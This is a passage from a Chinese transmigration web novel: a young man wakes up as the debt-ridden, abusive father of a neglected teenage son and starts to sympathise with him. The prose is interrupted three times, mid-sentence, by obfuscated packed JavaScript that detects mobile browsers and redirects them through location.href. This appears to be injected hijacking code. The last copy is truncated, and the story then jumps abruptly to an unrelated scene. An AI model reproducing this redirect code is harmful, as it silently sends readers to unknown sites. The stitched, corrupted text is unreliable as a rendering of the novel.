《渣攻贱受都喊我爹》 1. 穿越 “砰——” 冰凉沉重的玻璃酒瓶子砸在额头上的那一刻,明则仙是有些懵的。 他试图认真分析眼前的现状,试图搞清楚这突然出现在他面前并且凶神恶煞肌肉虬结的壮汉究竟是谁,试图弄明白这陌生破旧的环境究竟是在哪里,但比理智和清醒更快到来的,是眩晕和疼痛。 他重重地倒了下去。 临昏迷之前,他还能看见壮汉在他面前粗暴地翻箱倒柜,柜子里的灰尘和破旧纸片、还有各式各样的物品都一齐飞了出来,争先恐后地掉在了他的面前。 伴随着乒呤乓啷的动静,明则仙的视线被逐渐滴落的鲜血晕染的逐渐模糊,在最后失去意识的时候,明则仙还在想—— 怎么回事?他不是刚刚硕士毕业,拿到了云陆集团的offer,准备去上班吗? 这些人是谁,为什么要用酒瓶子砸晕他,还在他面前翻箱倒柜? 是........入室抢劫? 不,他家没这么破,他刚刚也不在家里,而是去公司的路上。 这些人是怎么突然出现的? 他又怎么会从去往公司的地铁,突然闪现到这里的? 这些人究竟是抢劫还是绑架?! 明则仙想不明白。 明则仙头痛欲裂。 像是有一把锥子,一寸一寸地被人大力推进了他的太阳穴,几乎每一根神经都因为剧烈的疼痛而颤抖起来,明则仙不自觉地蜷缩起来,想要用手臂捂住脑袋,却听见耳边传来了救护车的声音和人群嘈杂的声音。 他努力想要听清旁人说了什么,可脑袋实在太疼了,伴随着强烈的耳鸣出现,明则仙直觉耳边嗡嗡作响,他实在忍不住剧痛,彻底失去了意识。 时而清醒,时而迷糊。 直到消毒水味在明则仙的鼻尖蔓延,明则仙才终于挣脱眼皮的沉重感,缓缓睁开了眼睛。 入目即是苍白的天花板,明晃晃的灯光刺入了明则仙的眼睛。 明则仙下意识眯了眯眼睛。 他缓了一会儿,随即缓缓地想要坐起身来,但却因为头疼,又重新捂着额头倒了回去。 掌心传来粗糙的质感,像是纱布,明则仙还不死心,下意识按了按额头,很快就被皮肤处传来的剧痛疼的一个激灵,两眼一黑,差点再度晕过去。 “哗啦——”隔帘忽然被拉开,护士模样的人拿着查房的单子走了过来,替明则仙检查了一番,随即道: “脑部遭到重击,出了不少血,最好去做CT检查一下有没有脑震荡。” 明则仙闻言一愣。 他想要问一问护士自己为什么会挨打,但想了想,对方约莫也不知道,于是便将想问的话咽了下去,思索片刻,方道: “谢谢护士。” 护士看了他一眼,又盯住了几句话,最后说: “尽快通知家属来陪护、缴费。” 明则仙闻言,苦笑一声。 他是孤儿。 早在他记事的时候,他就住在福利院了。 这么多年,靠着政府的资助和自己的努力,他努力学习、工作、治病,最后终于用自己挣的钱给自己做了心脏搭桥手术,能勉强像一个正常人一样地生活,硕士毕业之后,他还凭着学历和能力,拿到了心仪的集团的offer。 明则仙以为,他终于熬出头了,他的好日子终于要来了,可没想到,只是在地铁上稍微补了一下觉,一睁眼就到了这个鬼地方。 .......还挨了打。 明则仙心想,我招谁惹谁了? 等护士走之后,明则仙坐在床上,听着周围病人的嘈杂和呻\吟,忍着头疼,逐渐冷静下来,大脑飞速地运转思考。 现在,他首先得确认自己是谁,还是不是明则仙;其次,他得明白自己现在是在什么地方,刚刚又是挨了谁的打;最后,他得明白他为什么会突然挨打,方才又是个什么情况? 以及,他第一天上班就迟到,会不会被云陆集团的hr骂? 思及此,明则仙摸索了一下,从自己的口袋里,摸出了一个手机,准备先联系一下hr,解释自己方才面临的情况,以及自己为什么会挨骂。 手机很破,手机钢化膜都碎了半边,蜘蛛网一样蔓延开来,指腹摸在上面的时候,有些涩有些割人;手机壳发黄发灰,上面还沾染着脏渍,摸起来有些黏黏糊糊的不舒服。 明则仙:“..........” 他目瞪口呆地看着掌心的手机,不敢相信这竟然会是自己的手机。 但很快,神志又被突然亮起的屏幕拉了回来,明则仙低下头,定睛一看,只见手机上面赫然写着—— “债主6号。” 明则仙:“..........” 现在,他很确定这不是自己的手机了。 他从来没有欠过债,最多办过助学贷款,但助学贷款早就还清了,他根本不欠任何人的债。 忽然又想起了昏迷之前遇到的那个在他家翻箱倒柜的凶神恶煞的大汉,明则仙再稍一联系手机的催债电话,忍不住手心出汗,已经隐隐约约意识到那个大汉的具体身份是什么了。 他不敢接电话,等屏幕亮起,又不甘地熄灭之后,明则仙才稍微松了一口气。 他不知道自己怎么会忽然欠债,怎么会忽然来到这个地方,怎么会连手机也跟经历了某利亚战争一样恍若被炮火轰过破烂不堪。 这一各个谜团在他翻遍了自己的手机后依旧没有得到解答。 明则仙先是查看了短信,发现大部分都是信用卡的还款提醒和催债死亡威胁,而切到wx对话框里,那些人他也不认识。 但唯一能肯定的是,他还是明则仙—— 因为那些信用卡的还款短信,都对他指名道姓。 他还是明则仙,但........ 他真的没用过这些信用卡啊? 还有,他........到底欠了多少钱啊? 这些疑惑像是泡泡一样一个一个地蹦了出来,堵得明则仙心脏和脑袋一齐发疼。 最后他想不明白,索性也不再多想,给hr打去电话,但没想到,hr的电话直接是空号了,根本打不通。 好像之前接到云陆集团的offer,是疑似他在出租屋里以天一夜没吃饭饿死前的幻觉一样。 明则仙:“........” 催债的电话一个又一个的打了进来,明则仙疲于应付,最后直接手机关机,不再去接那些债主的电话。 在病床上躺了一会儿,明则仙毫无睡意,直觉头疼,片刻后又坐了起来。 他出血太多,头晕目眩,加上早上急着出门赶地铁就没怎吃东西,现在口渴,肚子还有点饿。 当务之急,是要去找点吃的,填饱肚子才能继续思考。 事已至此,先吃饭吧。 明则仙扶着脑袋,缓缓下了床。 他穿好衣服,慢慢走了出去。 医院里很吵,有哭声,有骂声,还有病人疼痛的呻吟声。 明则仙被家里人遗弃,稍微记事之后,就一直靠着政府给的扶助资金和社会爱心人士的捐助过活,因为患有先天性心脏病,所以经常跑到医院。 一开始院长会陪他来,后来是老师,最后是他自己。 这么多年,明则仙都很习惯自己一个人解决所有的事情。 他没有家人,感情匮乏,又因为贫困,所以即便读了大学,也很少出去和舍友同学聚餐,经常独来独往,以至于社会关系非常简单,几乎没有朋友。 好在他也并不觉得这样的日子不好。 一个人,比较自由。 现在已经是冬天,马上要过春节了,天气很冷,还飘了一点碎雪,明则仙顶着寒风地来到医院门口,破旧的夹克根本不能御寒。 他冷的浑身发抖,环视一周,看见不远处有个卖包子的摊位,便走过去,对包子摊老板道: “来两个肉包。” 包子摊老板应了一声,随即拉开笼屉,给他装了两个肉包,随即道:“五块。” 明则仙拿出手机,准备扫码付款,却发现自己竟然扣款失败了。 明则仙:“.........” 他又试了几个银行卡,全部显示扣款失败,无奈他只能打开某呗,但发现额度已经超支。 靠.........他特么连个肉包都买不起了! 眼看着身后的队伍越排越长,到账的声音却迟迟未想起,卖包子的老板也有些不耐烦了,于是把包子往边上一放,问一直站着不付钱的明则仙: “你到底还要不要? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338571|167793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 明则仙闻言,抬起头看了老板一眼,余光里看见挤上来的买包子的其他人,想了想,还是往旁边让了让: “算了。” 他觉得很难以启齿:“我........没钱。” 老板:“..........” 他上下打量了明则仙一眼,随即不屑地转过头去: “看起来挺大个人了连个肉包也买不起.......去去去,我这里不招待乞丐,别挡着我做生意!” 明则仙:“..........” 他又不是故意要挡在这里的,闻言心里的火蹭的一下冒了起来,正要为自己分辨几句,岂料还没开口,就听见耳边忽然响起了一阵怯生生的柔软音调: “爸........?” 明则仙下意识转过头去。 只见不远处有个一米六五左右的男生站在那里,约莫十五六岁,正睁着大眼睛,正怯怯地看着他。 这么冷的天,在大家都纷纷床上棉袄羽绒服的时候,少年身上仍旧穿着一件很薄的破旧发黄带洞的校服,瘦的根个竹竿似的,此刻微微弯着腰,双手交叠藏在衣袖里,在冷风里直哆嗦。 明则仙瞧他是面黄肌瘦,脸颊微微凹陷下去,裤脚被风吹起时露出干裂成一块块的皮肤表面组织,还有苍白伶仃的脚腕。 明则仙和他对上视线。 几秒钟之后,那少年朝他走了过来,片刻后在明则仙面前站定。 明则仙看他,他也看明则仙,面面相觑几秒钟之后,明则仙见那少年又低下了头,没说话,也没走。 明则仙于是忍不住问: “你是谁?认识我吗?找我有事?” “.........” 那少年似乎是被冻傻了,在冷风中呆滞片刻之后,才缓缓抬起头,看向明则仙。 他还保持着那样僵硬的脸色,看向明则仙,被风吹的麻木的眼睛里闪过一丝异色,是震惊: “爸,你不认识我了吗?” 他冷的直抖,说话是牙关战栗,明则仙甚至还能听见咯吱发抖的声音: “我,我是你的儿子,明华啊!” 明则仙:“...........” 他也愣了。 他呆滞的时间比少年还要长。 他盯着少年,上上下下把少年扫视了一遍,看少年的眼神,就像是看有一个神经病。 少年见状,似乎是怕明则仙真的不认他,不要他,急得先要伸出手去拉明则仙的手臂,但还未伸出手就像是意识到了什么,赶紧收回来,只盯着明则仙,小声自证道: “爸,你是不是.......是不是脑袋被敲坏了?你失忆了吗?” 少年一想到有这个可能性,就急得要哭,眼圈发红,说话也带上了些许鼻音: “爸,我是明华啊!你,你真的不认识我了吗?我真的是你儿子!” 明则仙:“.........” 他转身就走。 他一边走,一边在心里直呼晦气。 神经病吧,他才二十五岁,母胎单身,哪里来的一个这么大的儿子! “爸.......爸.........” 身后的少年还在喋喋不休,甚至跟上了明则仙的脚步,在他耳边不断道: “爸爸,你别丢下我........” “你别跟着我成吗?”明则仙本来就头疼,被吵得心里更烦,终于忍无可忍。 他停下脚步,转头看着半大的少年,对于少年眼睫挂着的泪珠,无动于衷,只不耐烦道: “我认识你吗?你没事叫我爸作什么?有癔症就去治,我现在心烦的很,没空理你。” 他来到这个地方,不仅欠了一屁股债不说,连肉包都买不起了,现在还有个不认识的人上赶着给自己当儿子—— 简直莫名其妙嘛! 明华:“...........” 听着明则仙不含任何感情的话和森寒的面容,明华直愣愣地看着自己的父亲。 片刻后,明则仙看见明华的瞳仁里有大滴晶莹的眼泪坠了下来,眼泪滑过明华皴裂起皮的面庞和干裂的唇,最后在尖瘦的下巴汇聚,一滴一滴慢慢下落,最后将脚下脏污的地面晕染出点点深色、可见的湿痕。 2. 狗血三流小说 明则仙万万没想到自己能把人弄哭了。 他目瞪口呆地看着站在冷风里抹眼泪的明华,张了张嘴,下意识想要劝他别哭了,但想到把他弄哭的人就是自己,又默默闭上了嘴。 这个时候,还是别多管闲事的好。 不管面前这个少年是谁家的小孩,但总归不是他的。 明则仙自己都自生难保,难能再管一个连自己的父母亲都会认错的笨蛋小孩? 思及此,明则仙狠下心,不再管医药费,继续往医院里走。 他都还没有缴门诊费和医药费,不能就这么就离开了。 他以为自己的态度已经很强硬很明显了,足够明华离开,但没想到,他刚踏进医院门口,明华又紧跟在他身后,走了过来。 明则仙冷着脸不理他,踏进了电梯里。 在明则仙要按下电梯门的时候,明华也提前一步踏进了电梯门。 似乎是感受到了明则仙冰冷的视线,明华不敢和明则仙对视。 他死死地低着头,过于宽大的袖子将他的手背也遮了进去,小小的一只,就这样悄无声息地藏在电梯的角落,忍受着拥挤,直到电梯门叮得一声打开,他才如蒙大赦,跟着明则仙走了出去。 明则仙一屁股坐在了病床上。 他现在头很痛,肚子还很饿,加上没有钱交医药费,此刻心烦的很。 他一边快速分析着眼前的情况,试图找到解决的方法,一边用余光打量着明华。 明华拿着书包,坐在了明则仙的病床脚。 明则仙不理他,他也不主动找没趣,摸了一把湿漉漉的脸颊,随即拉开了书包的拉链。 两个皱巴巴的苹果出现在了书包里。 这种苹果放在之前明则仙吃都不会吃,因为很明显就是放了太久没水分了,但明华却很真珍惜。 他把那两个苹果小心翼翼地捧了出来,随即转过头对明则仙道: “爸爸,你饿了吗?” 他说:“我给你洗两个苹果吃好吗?” 明则仙扫了一眼表皮发黄发皱的苹果,觉得自己实在是啃不下去,于是也懒得再管明华叫自己爸爸,只道: “不吃。” 他说:“这苹果放了很久了,不好吃了。” 明华闻言,有些惊讶,低下头再度看了一眼苹果,随即小声嘀咕道: “怎么会呢?这明明是班长平安夜的时候送给我的。” 明则仙:“..........” 他拿出手机,看了一眼时间,发现今天都是一月十号了。 距离平安夜都过去半个多月了。 明华不信邪,本着不浪费食物的原则,站起身,拿着两个苹果出去洗了。 没多久,他又回来,走到明则仙的面前,将一个苹果递到了明则仙的面前。 明则仙的视线下意识落在明华的手上。 明华的手上青青紫紫一片,也不知道是不小心撞出来的还是被人打的。 明则仙之前是孤儿的时候,就被人霸凌过,对这些伤痕很敏感。 他眉头一皱,顾不上吃苹果,伸出掌心抓住明华的手腕,随即将他的衣袖用力往上一撸。 明华还未来得及挣扎,充满伤痕的手臂就赫然出现在了明则仙的面前。 白皙的皮肤上坑坑洼洼的,疤痕遍布,看起来都是一些烟头烫伤后又愈合的伤痕,上面还有青紫的痕迹,大片大片,蔓延往上,很明显就是被人打出来的。 明华一惊,下意识想要收回手,但明则仙的力气很大,他无法动弹,片刻后,只听明则仙说: “你这些伤,是被谁打的?还有,谁在你身上烫烟头了?” 明华被问的下意识抬起头,看向明则仙。 明则仙此刻的表情很严肃。 他应该是酒醒了,所以眼睛里此刻分外清明,没有了往日的醉醺醺,漆黑的眼珠子倒映出明华无措的脸孔: “告诉我,谁打的你。” 明华在那一瞬间只觉差异,不知道父亲为什么会突然问这个问题,犹豫几秒之后,才道: “你........还有班上的同学。” 明则仙不可思议地抬高声音道:“我打你?!我什么时候........” 他话音还未落,一旁就有人闻声看了过来,明华怕被人发现,赶紧将自己的手腕从明则仙的掌心里抽出,放下袖子,慌慌张张道: “爸爸,你,你吃苹果........” 言罢,他把两个苹果都一起塞进了明则仙的怀里。 大冷天的,明则仙不想吃苹果,何况那苹果长得还很丑。 他把那苹果塞回明华的怀里,让明华自己解决。 明华不敢违抗他的命令,只好坐下来,自己一个人默默地啃苹果。 他的手背上还有冻疮,红肿不已,他一边吃苹果,还一边用指尖下意识去挠。 冻疮发作起来又疼又痒,他看起来是被冻疮折磨的不轻。 明则仙盯着他看了一会儿,片刻后又移开了眼睛。 他没再赶明华走,只是觉得这孩子真可怜。 他躺在床上,听着明华咔嚓咔嚓的声音,逐渐入睡。 清醒的时候,窗外的夜色已经黑了。 明则仙觉得自己状态好了一些,便琢磨着出院的事情。 虽然现在还搞不明白自己为什么会在这里,但医院里呆着也难受,还是早点结清医药费走人的好。 他慢慢坐起来,正准备下床,余光无意间往旁边一瞥,见明华正跪在他的床边,写作业。 病房里很拥挤,病人和陪床的家属很多,实在是没有多余的椅子给他了,明华只能跪在床边,低头写着作业。 明则仙:“...........” 看着明华的侧脸,他在那一瞬间,忽然想起了十多年前的自己。 那时候的他也是很小,当年的福利院很多基础设施都像现在那样完善,福利院人又多,他想写作业,都抢不到桌椅来写,只能跪在地上,把作业本平铺在椅子上写。 明华的身影和记忆中的自己诡异的重叠了起来,明则仙心中忽然涌起了异样的感受。 他莫名想伸出手,去摸一摸明华的头,但明华比他先一步察觉到他的清醒,下意识抬起了头。 父子二人对上了实现,片刻后,明华率先站了起来。 他本就单薄破旧的校裤上又增添了尘土的印记,但明华并没有再意,只看着明则仙,小声道: “爸爸,你醒了。” 明则仙长长叹了一口气,随即道:“我准备出院了。” 明华小心翼翼地觑了明则仙一眼,随即压低声音,道: “爸爸........我们家没钱交医药费了。” 明则仙刚刚买包子都没钱,思索了片刻,于是道: “我试试看我的医保账户里还有钱吗?” 他每年都会交医保,此时医保账户里应该还有钱才对。 明则仙下了床,明华下意识扶了他一把。 明则仙忍不住被他逗笑:“我是伤了头不是伤了腿,自己能走。” 明华尴尬地收回手,没再动作了。 好在天无绝人之路,明则先虽然没有了可流动的钱,但医保账户里还有钱。 顺利缴纳了医药费之后,明则仙双手插兜,走出了医院。 明华像是他的影子一样,亦步亦趋地跟着他。 明则仙看了他一眼,想了想,没说话,只是默默地往前走,最后拐进了一家派出所。 派出所有民警在值班,见明则仙走进来,便问: “怎么了?” 明则仙说:“我这里有一个小孩走失了,和父母分开了,麻烦您帮我照顾一下他,顺便帮他找到他的亲生父母。” 民警闻言,下意识往明则仙身后看去。 他以为他口中的小孩应该是个儿童,却没想到明则仙身后站着的却是一个十五六岁的小少年。 民警下意识皱起了眉头。 他看了一眼明则仙,又看了一眼明华,随即问明华: “你叫什么名字?今年几岁了?” 明华很老实地答:“我叫明华,今年十六岁。” “在读书吗?” “在。今年高一,就读于龙成英才学校。” 民警闻言,冷不丁“霍”了一声。 原因无他,龙成英才学校是所谓的“贵族”学校,是X市排名前三的私立学校,生源都很不错,不少有钱人也在里面读书,只要是x市人,就没有人不知道龙成英才学校。 明华说话虽然因为紧张而有点结巴,但对答时思路很清新,看起来不像是智力有问题的样子。 民警要走了明华和明则仙的身份证,进办公室,用人口信息库里查询。 明则仙站在外面陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338572|167793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着明华一起等。 他穿着并不御寒的夹克,有些冷,明华穿的比他更单薄,双腿并在一起,牙关打战,不住地打哆嗦。 没一会儿,民警就走了出来。 他的神情很严肃,明则仙下意识站起身,看向民警,道:“警官.........” 他还没来得及问明华的亲生父母姓甚名谁家住何方,就被民警打断了话头: “这位先生,报走失是一件很严肃的事情,请你不要拿你自己的孩子开玩笑。” 民警把身份证还给了明则仙: “这么冷的天,把你自己的孩子领回家吧。” 明则仙:“............” 他几乎要被这两句话砸晕过去,目瞪口呆地看着民警,好半晌,才找回神志: “警官,我.........” 他话音还未落,忽然走进来几个人,嚷嚷着要报案,情绪看起来还很激动,民警顾不上明则仙,赶紧去处理了。 明则仙没法,只能带着明华走出了派出所。 他手里捏着两张身份证。 方才他递出去的时候,都还没来得及细看,但此刻借着路灯的灯光,他才终于看清了此刻自己身份证上的名字和身份证号码。 名字还是那个名字,但身份证号码已经换了,他现在是.........三十八岁。 明则仙只觉天都快要塌了。 二十五岁的大好年华,忽然便成了三十八岁,还有了一个上高中的儿子,换谁都顶不住。 明则仙甚至都想来根烟清醒一下了。 夜晚的寒风如同刀一般割人脸颊,没一会儿,明则仙的身后传来了明华打喷嚏的声音。 明则仙下意识转过头,看向明华。 明华也看着他。 他应该是有点营养不良,明明都上高中了,但身形体积还是有些小,比同龄人矮了不少。 明则仙再度长长地叹出了一口气。 虽然不知道发生了什么,虽然不知道自己为什么会莫名其妙地来到这个地方,虽然不知道为什么会突然多了一个儿子,但明则仙向来信奉既来之则安之。 他正想说些什么,脑袋忽然一疼,零零散散的记忆碎片如同雪片一般飞进了他的脑海中。 他忽然想起自己在地铁上睡着的时候,刚好无意间点进去一篇和自己同名同姓的男同小说里。 那小说的文名明则仙有些忘了,只知道作者的名字叫不吃姜糖,向来爱写各种狗血的恶俗情节。 这本书里的渣攻和贱受层出不穷,汇聚了贱受怀孕流产和渣攻骗财骗色最后惨遭报应等等情节,而在这篇文里,和明则仙同名同姓的角色,就是那个贱受和渣攻的........爹。 明则仙:“..........” 回想起那本书的一刹那,明则仙的天都快要塌了。 他该不会是真的穿书了吧! 那眼前这个明华,岂不是小说里那个自卑懦弱、暗恋X市太子爷最后被当作替身白嫖十多年,最后历经怀孕带球跑流产掉海里失踪等等虐心虐身环节,最后在疗养院里得抑郁症自杀的........贱受? 看着站在自己面前唯唯诺诺的明华,明则仙抱着最后一丝希望,问: “明华.........” 明则仙感觉自己的呼吸都快要停了: “你是不是还有个哥哥啊?” 如果明则仙没记错,他应该还有个渣攻儿子,上了大学以后认识了一个上流社会的痴情白富美,对白富美一通骗财骗色之后,遭到了白富美一家人的疯狂报复,最后渣攻因为压力太大,猝死了。 “嗯?”明华被明则仙问的一愣。 虽然不知道为什么爸爸要这么问,但明华还是老老实实地回答: “对啊。” 他说:“爸爸,你还有个儿子,叫明景,今年刚上龙成大学,你忘啦?” 明则仙:“.........” 明景,龙成大学........ 那不就是书里那个对白富美偏身骗心骗财骗色的渣攻名字吗! 那岂不是.........都对上了?! 他........他真的穿进那个作者写的狗血三流南同小说里了! 一想到自己穿成了渣攻和贱受的爹,明则仙当即双眼发直,两眼一黑,差点再度晕死过去。 3. 初见 眼看着明则仙闭着眼睛就要往下倒,一副受不了这个噩耗的模样,明华被他吓了一跳,赶紧伸出手去,扶了一把明则仙: “爸爸,你没事吧........” 明则仙借着他的力站稳,即便再不想要接受,也还是不得不面对现实,睁开了眼睛: “没事........” 他有点心如死灰,但也无计可施,只能摆了摆手,无力在派出所的台阶上坐了下来。 明则仙想,这可要怎么办? 这本小说的作者简直是把他当日本人整啊! 为了给贱受和渣攻的极端行为合理化,作者给原书的渣爹准备了丧妻事业投资失败背上债等一条龙服务—— 也就是说,他现在不仅丧偶,还失业了,更重要的是,他身上还有债务! 书里没有明确说明明则仙背了多少债,但应该只会多不会少,何况他现在应该还是失业了,就更还不起了。 大龄,失业,家里还有俩需要上学的儿子........ 明则仙这下是真的想来一根了。 可现在天气太冷了,在外面抽烟除了可以装逼但容易感冒之外,没有任何的好处,明则仙最终还是又长长地叹了一口气,随即拍了拍自己的衣服,站了起来。 明华站在他身边,一脸紧张地看着明则仙: “爸.........” “先回家吧。”明则仙自己说话都有点有气无力的,但看着穿着单薄校服、在寒风里瑟瑟发抖的名义上的他的儿子,只能强行装作无事发生的样子: “回家再说。” 也不知道是穿进书里来之后各方面需要符合原书的设定还是什么,明则仙发现明华长的挺像他小时候。 他看到明华,就容易想起自己之前一个人时候的艰难时光。 但他其实也比明华幸福多了。 之前在福利院的时候,政府每个月会给他打一笔生活费,他上大学之前的所有学费,按照政策,因为他的孤儿身份,也都是给予免除的。 他考上大学之后又有助学贷款,所以总体来说,明则仙虽然活得很拮据,但也饿不死,只不过活在这个世界上需要用钱的地方还是挺多的,明则仙少不得也饿过几顿。 因为穷过,因为经历差不多,所以明则仙更能共情明华。 ...........可怜的孩子。 看着身形瘦弱、衣着单薄的明华,明则仙叹了一口气,脱下身上的夹克,披在了明华的身上。 感受到肩膀处的温暖,明华登时诧异地瞪圆眼睛,不可置信地看着常年家暴殴打他的明则仙,发紫的嘴唇都哆嗦了: “爸,你........” “回家吧,带路。”明则仙适应能力很强,决定在自己还不能回去之前,既来之则安之: “走,冷死了。” 明华闻言,还在发愣,直到明则仙伸出手,推了他一把,他才如梦初醒,往家中走去。 家里离得有些远,明华从兜里数出几个硬币,投进了公交车站。 下了公交车站后,两个人又步行走了二十多分钟,明则仙身上只穿了一件破洞的线衣,感觉自己都快被冻僵了。 就在他第四次问明华快要到家没有的时候,明华终于松了口, “到了,爸。” 明则仙闻言低下头,顺着明华下楼梯的动作,目瞪口呆: “..........” 这不是.......地下室入口吗? 他在最穷的时候,都是住的学校的四人间,从来没有住过地下室! 明则仙在地下室门口踌躇半晌,最后还是抵御不住冬日的寒风,硬着头皮,跟着明华下了地下室。 地下室环境昏暗,只有几盏染着蛛网灰尘的暗灯,墙面没有铺设瓷砖,甚至都没有涂水泥,砖头表面风干,斑驳脏污,偶尔还会窜过蟑螂或者蜘蛛,发出窸簌的沙沙响声,明则仙见状,根本不敢用手碰墙—— 鬼知道那墙有多脏? 不知道走了多久,明则仙才看到了一扇门。 明华从裤兜里掏出钥匙,打开门走了进去。 屋内很暗,明则仙站在门口,看见明华伸出手去拨弄了一下电灯开关,电灯顺势亮起。 但它还没亮多久,下一秒就骤然发出刺啦一声响,随即砰的一声,径直爆炸了。 明则仙:“........” 明华:“...........” 父子二人在一片漆黑昏暗之中面面相觑,片刻后,还是明则仙先掏出手机,用手电筒模式照亮了明华无措的瞳仁: “家里有蜡烛吗?” “.......有。”明华借着手机手电筒的灯光,跪在地上,在被债主翻的乱七八糟的东西里摸索一阵,片刻后找出半截子蜡烛,和粉色的塑料打火机,用打火机点燃了烛线。 淡黄色的火光亮起,照亮了不大的地下室。 明华小心翼翼地避开锋锐的玻璃碎片,将蜡烛放在客厅中央被砸的只剩下半截的桌面上,随即站起身,对明则仙道: “爸爸,你进来吧,待会儿我把客厅收拾一下。” 明则仙看了一眼乱七八糟的室内,直觉家里又小又暗,呼吸间还是一股土腥霉味,潮潮的空气包裹着他,让他有些呼吸不能。 他拿着手机,站在门口没动,只道: “你身上还有钱吗?” 他此话一出,明华倏然浑身一僵。 明则仙几年前投资失败之后,就欠了一屁股债,追债的人追到公司,被公司的老总知道了,直接把明则仙炒了。 明则仙年纪不小了,要再找工作不容易,好的工作他够不上,不好的明则仙又不想干,于是就一直在家待业,他们一家人全靠明则仙爸爸的退休金生活。 后来追债的人越来越多,已经严重影响到了一家人的日常生活,明则仙的爸爸只能卖了房,帮明则仙还了债,一家人挤在狭小的地下室。 但明则仙投资失败之后,很想东山再起,但他又没有那个创业的头脑,只能寄希望于赌博和打麻将赢钱。 一开始是赢了不少钱,但后来也输了不少,明则仙再度欠了一屁股债,老爷子也被这个不孝子气的脑梗,去年就走了。 老爷子是特级教师,攒了一些退休金,知道自己儿子靠不住,所以死之前把所有的钱都留给了小孙子明华,当作给两个孙子以后读书的学费和生活费。 临咽气的时候,老爷子还抖着手,给自己的小孙子写了一封推荐信,用尽自己毕生的人脉把成绩优异的小孙子送进了龙成英才学校。 明则仙知道明华手里有钱,所以每次赌输了都会找明华要钱,明华要是不给,他非打即骂,明华身上那些烟头,就是他烫出来的。 一听到明则仙要找自己要钱,明华便浑身紧绷,站在原地不敢动,好半晌,才低下头,用手指尖绞着衣摆,小声嗫喏道: “爸爸,我没钱........” 那些钱,都是明华自己留起来给哥哥明景和自己以后读书的,要是又被明则仙赌没了,那他的未来就基本完蛋了。 明则仙眯了眯眼睛,看着明华。 两个人僵硬地对峙了一会儿,直到夜风呼呼从外面灌入,让本就冰冷的下室更是如同冰窖一般,明则仙才叹了一口气,道: “我不是要钱去赌。” 他说:“家里灯泡炸了,我身上没钱,你给我,我去买电灯泡回来换。” 明华迟疑了片刻,小声道:“爸爸会换电灯泡吗?” 之前的明则仙可是连饭都不会做的,家里的一应事宜,都是由家人打理。 “会。”明则仙说:“快点儿吧,你想晚上摸黑洗澡吗?” 明华闻言,犹豫了片刻,半晌,才转身走进一间狭小的房间里,从枕套里翻出五十块钱,反复点了好几遍,才依依不舍地站起来,慢吞吞地走到了明则仙面前,道: “给,爸爸。” 明则仙“嗯”了一声,接过钱。 他扫视了一圈,随即找到梯子,让明华帮忙按着别倒了,随即爬上梯子,看了一眼灯泡的型号,又慢慢爬了下来。 “你在家等着我,等我敲门再开。” 明则仙说:“我去买灯泡。” 明华紧紧盯着明则仙手里的钞票,想要说些什么,但又怕明则仙不高兴,只能咽了咽唾沫,小心道: “那爸爸早去早回........” 家里没有收入来源,无法开源,基本是坐吃山空,花一点少一点,明华只能采用严苛的节流措施,这五十块钱是他一周的生活费了,如果明则仙又出去赌博或者买酒喝,那他下周就又要挨饿了。 “知道了,小财迷,不昧你的钱。”明则仙被他逗笑,伸出手想要摸了一把他的头发: “真钻钱眼儿里了。” 他话音刚落,手才抬起来,明华见状,瞳孔骤缩,下意识抱住了自己的头,蹲下身蜷缩成一团,脱口而出一句: “爸爸,钱已经给你了,求求你别打我!” 明则仙:“...........” 他的手僵立在空中,看着明华蜷缩起来的身影,不知道想到了什么,眼神微暗,半晌俯下身来,抓着明华的手臂,将他拽起来,随即低声道: “不打你。” 他说:“以后都不会打你了。” 明华:“.........” 他微微一愣,等了几秒之后,果然没有等到拳脚落下来的痛感,才微微地放下了手。 视线尽头是明则仙顺手捡起地上的夹克,披在身上往外走的背影。 明则仙假装没有注意到明华跟随出来的视线。 他会想到明华刚才脸上一闪而过的惶惑紧张的神情,只觉心中很不好受,连手中拿着的五十块钱也和火似的,烫手。 他知道原文中的渣爹会打人,但没想到家暴到如此程度,都给小儿子留下心理阴影了。 明华身上的淤青或许有消退的一天,但明华身上那些被烟头烫出来的成片的伤疤........ 明则仙轻轻吐出一口气。 他走出了地下室,从夹克里掏出半包劣质烟,抽出一根烟含在口中,在冷风中,用打火机点燃。 烟是几块钱一包的,很难抽,但现在明则仙又饿又冷,实在找不到其他东西能让他短暂地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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明则仙从善如流地移开了视线,没再看他。 雨越下越大,似乎没有止歇的时候,夜晚的冷风刮起来,真的是要命,如同刀锋一样刮人肌骨,明则仙等了一会儿,最后还是没忍住,推门进了咖啡馆。 他一身破旧脏污的装束,鞋子还带着泥,胡子没刮,头也没洗,乱糟糟堆在头顶,加上一身发酵的酒味和地下室的霉味,很快就引的众人看过去,不动神色又略带鄙夷地移开视线。 要不是太冷了明则仙也不会进来,只能强装镇定地站在门口,等雨停下。 没多久,门口又有一群大学生走了进来,视线落在明则仙身上时,闪过一丝惊讶,但很快又朝前台的少年走去。 “兰妙。” 